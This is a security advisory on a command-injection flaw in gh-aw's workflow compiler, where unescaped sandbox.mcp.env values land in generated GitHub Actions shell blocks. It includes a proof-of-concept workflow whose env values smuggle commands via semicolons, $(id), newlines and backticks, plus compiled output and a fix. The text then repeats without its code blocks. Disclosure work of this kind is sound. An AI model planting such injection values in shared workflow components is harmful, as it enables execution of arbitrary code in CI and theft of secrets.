Summary
gh aw compile writes MCP-gateway environment variables into the generated GitHub
Actions workflow (.lock.yml) using an unescaped fmt.Fprintf(... "export %s=%s" ...).
The values come verbatim from the sandbox.mcp.env map in a workflow's frontmatter, and
the workflow JSON schema imposes no character constraints on them. A value containing shell
metacharacters (;, $(...), backticks, or a newline) breaks out of the export
statement and is emitted as a command in a run: shell block. When the compiled workflow
runs, those commands execute in the GitHub Actions runner with the job's GITHUB_TOKEN and
secrets.
The dangerous input crosses a real trust boundary: gh-aw supports importing and
packaging workflow components from third-party repositories. A malicious shared component
that declares sandbox.mcp.env can therefore achieve arbitrary command execution in the CI
environment of any repository that imports it, compiles, and runs the workflow.
Impacted code
pkg/workflow/mcp_setup_generator.go (lines 718–724, sink at 722):
if len(gatewayConfig.Env) > 0 {
envVarNames := sliceutil.MapKeys(gatewayConfig.Env)
sort.Strings(envVarNames)
for _, envVarName := range envVarNames {
fmt.Fprintf(yaml, " export %s=%s\n", envVarName, gatewayConfig.Env[envVarName]) // <-- no quoting/escaping
}
}
Contrast with the adjacent, correctly-handled export 10 lines above (line 711–712), which
already shell-escapes its value:
escapedCLIServersJSON := shellEscapeArg(string(cliServersJSON))
yaml.WriteString(" export GH_AW_MCP_CLI_SERVERS=" + escapedCLIServersJSON + "\n")
The source is parsed verbatim from frontmatter, with no validation
(pkg/workflow/frontmatter_extraction_security.go:363–372):
if envVal, hasEnv := mcpObj["env"]; hasEnv {
if envObj, ok := envVal.(map[string]any); ok {
mcpConfig.Env = make(map[string]string)
for key, value := range envObj {
if valueStr, ok := value.(string); ok {
mcpConfig.Env[key] = valueStr // key and value copied directly
}
}
}
}
Commit: 402c2979bbb494a9ef91e08c031e29eae7983ca2
CVSS
Score: 9.6 — Critical
Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H
| Metric |
Value |
Rationale |
| Attack Vector |
Network (N) |
Payload is delivered as an imported/packaged workflow component over the GitHub/package ecosystem (supply-chain). |
| Attack Complexity |
Low (L) |
A single frontmatter value; no special conditions. |
| Privileges Required |
None (N) |
Any author of a shared/importable component. |
| User Interaction |
Required (R) |
A victim must import the component, run gh aw compile, and run the workflow. |
| Scope |
Changed (C) |
Injected commands escape the "workflow definition" authority into the CI runner's execution environment and its secrets/GITHUB_TOKEN. |
| Confidentiality / Integrity / Availability |
High / High / High |
Arbitrary code execution in CI: read secrets, tamper with the repo, disrupt the runner. |
Steps to reproduce / minimal PoC
-
Create a workflow with a malicious sandbox.mcp.env value (this is what a third-party
imported component would carry). Save as .github/workflows/poc-envinject.md:
---
on:
workflow_dispatch:
permissions:
contents: read
engine:
id: claude
sandbox:
mcp:
env:
AAA_INJECT: "legit; echo PWNED_$(id) > /tmp/pwned #"
BBB_NEWLINE: "ok\n echo PWNED_NEWLINE"
CCC_BACKTICK: "`touch /tmp/PWNED_BACKTICK`"
tools:
github:
toolsets: [default]
---
# PoC Workflow
Body.
-
Compile it (in a sealed, no-network container, as done during validation):
docker run --rm --network none \
-v "$PWD":/work -w /work \
-v /path/to/gh-aw-linux:/usr/local/bin/gh-aw:ro alpine:3.21 \
sh -c 'gh-aw compile .github/workflows/poc-envinject.md'
-
Inspect the generated .github/workflows/poc-envinject.lock.yml — the payload lands
inside a run: | shell block, unescaped:
export GH_AW_ENGINE="claude"
export AAA_INJECT=legit; echo PWNED_$(id) > /tmp/pwned #
export BBB_NEWLINE=ok
echo PWNED_NEWLINE ← newline broke into command position
export CCC_BACKTICK=`touch /tmp/PWNED_BACKTICK`
-
Execute that exact fragment under /bin/sh to observe the injected commands fire
(this is what GitHub Actions does when the workflow runs):
PWNED_NEWLINE
/tmp/pwned -> PWNED_uid=0(root) gid=0(root) groups=0(root)...
/tmp/PWNED_BACKTICK -> created
All three vectors execute: ;+$(id) command substitution wrote /tmp/pwned, the
newline injected a standalone command, and the backtick substitution created a file.
Impact
Arbitrary command execution in the GitHub Actions runner at workflow-execution time. An
attacker who controls an imported/packaged workflow component can:
- Exfiltrate the job's
GITHUB_TOKEN and any secrets exposed to the workflow.
- Tamper with repository contents, releases, or downstream artifacts the job can reach.
- Pivot from CI into other systems reachable from the runner.
Because gh-aw's design centers on sharing/importing agentic-workflow components, this is a
practical supply-chain remote-code-execution vector.
Suggested remediation
Validate the key and shell-escape the value, mirroring the already-correct line 711:
import "regexp"
var envNameRe = regexp.MustCompile(`^[A-Za-z_][A-Za-z0-9_]*$`)
for _, envVarName := range envVarNames {
if !envNameRe.MatchString(envVarName) {
return fmt.Errorf("invalid MCP gateway env var name %q", envVarName)
}
yaml.WriteString(" export " + envVarName + "=" +
shellEscapeArg(gatewayConfig.Env[envVarName]) + "\n")
}
Additionally, reject control characters/newlines in env values during frontmatter
extraction (extractMCPGatewayConfig) so malformed input fails fast at compile time, and
add a JSON-schema propertyNames/pattern constraint on sandbox.mcp.env keys.
Summary
gh aw compilewrites MCP-gateway environment variables into the generated GitHubActions workflow (
.lock.yml) using an unescapedfmt.Fprintf(... "export %s=%s" ...).The values come verbatim from the
sandbox.mcp.envmap in a workflow's frontmatter, andthe workflow JSON schema imposes no character constraints on them. A value containing shell
metacharacters (
;,$(...), backticks, or a newline) breaks out of theexportstatement and is emitted as a command in a
run:shell block. When the compiled workflowruns, those commands execute in the GitHub Actions runner with the job's
GITHUB_TOKENandsecrets.
The dangerous input crosses a real trust boundary:
gh-awsupports importing andpackaging workflow components from third-party repositories. A malicious shared component
that declares
sandbox.mcp.envcan therefore achieve arbitrary command execution in the CIenvironment of any repository that imports it, compiles, and runs the workflow.
Impacted code
pkg/workflow/mcp_setup_generator.go(lines 718–724, sink at 722):Contrast with the adjacent, correctly-handled export 10 lines above (line 711–712), which
already shell-escapes its value:
The source is parsed verbatim from frontmatter, with no validation
(
pkg/workflow/frontmatter_extraction_security.go:363–372):Commit:
402c2979bbb494a9ef91e08c031e29eae7983ca2CVSS
Score: 9.6 — Critical
Vector:
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:Hgh aw compile, and run the workflow.GITHUB_TOKEN.Steps to reproduce / minimal PoC
Create a workflow with a malicious
sandbox.mcp.envvalue (this is what a third-partyimported component would carry). Save as
.github/workflows/poc-envinject.md:Compile it (in a sealed, no-network container, as done during validation):
Inspect the generated
.github/workflows/poc-envinject.lock.yml— the payload landsinside a
run: |shell block, unescaped:Execute that exact fragment under
/bin/shto observe the injected commands fire(this is what GitHub Actions does when the workflow runs):
All three vectors execute:
;+$(id)command substitution wrote/tmp/pwned, thenewline injected a standalone command, and the backtick substitution created a file.
Impact
Arbitrary command execution in the GitHub Actions runner at workflow-execution time. An
attacker who controls an imported/packaged workflow component can:
GITHUB_TOKENand any secrets exposed to the workflow.Because gh-aw's design centers on sharing/importing agentic-workflow components, this is a
practical supply-chain remote-code-execution vector.
Suggested remediation
Validate the key and shell-escape the value, mirroring the already-correct line 711:
Additionally, reject control characters/newlines in env values during frontmatter
extraction (
extractMCPGatewayConfig) so malformed input fails fast at compile time, andadd a JSON-schema
propertyNames/patternconstraint onsandbox.mcp.envkeys.